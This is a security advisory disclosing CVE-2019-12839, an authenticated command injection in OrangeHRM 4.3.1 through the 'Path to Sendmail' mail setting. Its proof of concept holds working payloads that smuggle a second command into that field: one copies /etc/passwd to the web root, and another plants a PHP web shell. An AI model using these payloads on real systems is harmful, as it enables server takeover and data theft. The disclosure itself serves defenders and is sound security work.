Arbitrary Command Execution in latest OrangeHRM platform

2 minute read


  • Authors: Chi Tran, Hoang Le, Hoang Doan, Phi Le, Huy Ngo
  • Vendor & Product: OrangeHRM - Open Source Human Resource Management System
  • Version: 4.3.1 and before
  • CVE Reference: CVE-2019-12839

About OrangeHRM

OrangeHRM Inc. is a HR software company based in Secaucus, New Jersey. The company has developed a human resources management solution. The company offers an open-source, professional, & enterprise solution. The open-source solution is free while the professional and enterprise solutions are advanced hosted solutions. OrangeHRM offers a comprehensive HR management system to suit all of your business HR needs which can also be customized according to your requirements.

Vulnerability Detail

What is Swift Mailer? Swift Mailer integrates into any web app written in PHP, offering a flexible and elegant object-oriented approach to sending emails with a multitude of features. By default, in OrangeHRM, Swift Mailer is used to send emails using SMTP, sendmail, postfix or a custom Transport implementation of your own.

Original Git:

An input validation error on Path to Sendmail field via listMailConfiguration action (Authenticated) leads to a Command Injection Vulnerability (ACE) which allows attackers execute arbitrary commands.

Cause: When processing requests to /listMailConfiguration, the form does not properly sanitize the certain POST parameter ($form['txtSendmailPath']) Code audit:

As we can see above, after being supplied by an authenticated user, $form['txtSendmailPath'] will then be sent directly to be processed.

Path to Sendmail will then be handled by:

    public function testCommandCanBeSetAndFetched()
        $buf = $this->_getBuffer();
        $sendmail = $this->_getSendmail($buf);

        $sendmail->setCommand('/usr/sbin/sendmail -bs');
        $this->assertEquals('/usr/sbin/sendmail -bs', $sendmail->getCommand());
        $sendmail->setCommand('/usr/sbin/sendmail -oi -t');
        $this->assertEquals('/usr/sbin/sendmail -oi -t', $sendmail->getCommand());

This means, we can modify Path to Sendmail to have arbitrary commands leaded by either:

  • /usr/sbin/sendmail -bs or /usr/sbin/sendmail -oi -t

An action of sending a test mail will execute the arbitrary commands to extract sensitive information as well as take over the server.

Proof of Concepts:

  • Request:
POST /symfony/web/index.php/admin/listMailConfiguration HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/symfony/web/index.php/admin/listMailConfiguration
Content-Type: application/x-www-form-urlencoded
Content-Length: 767
Connection: close
Cookie: Loggedin=True; PHPSESSID=r1rp9com2a4n10lpbhjvfnelg4
Upgrade-Insecure-Requests: 1

  • Steps to reproduce:

1 - Navigate to http://localhost/symfony/web/index.php/admin/listMailConfiguration

2 - Edit Path to Sendmail to have the following payload (limit 100 chars)

/usr/sbin/sendmail -bs; /bin/cat /etc/passwd >> /var/www/html/expose.txt

3 - Update Test Email Address to send a test mail


Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.

Low-priv shell

  • Payload:
/usr/sbin/sendmail -bs;echo "<?php if(\\$\_GET\['c'\]){system(\\$\_GET\['c'\]);}?>" >> /var/www/html/c.php


Report Timeline

06/11/2019: Discovered the vulnerability
06/12/2019: Reported to Vendor
06/13/2019: Vendor confirmed
06/14/2019: Vendor released a fix
06/15/2019: CVE ID assigned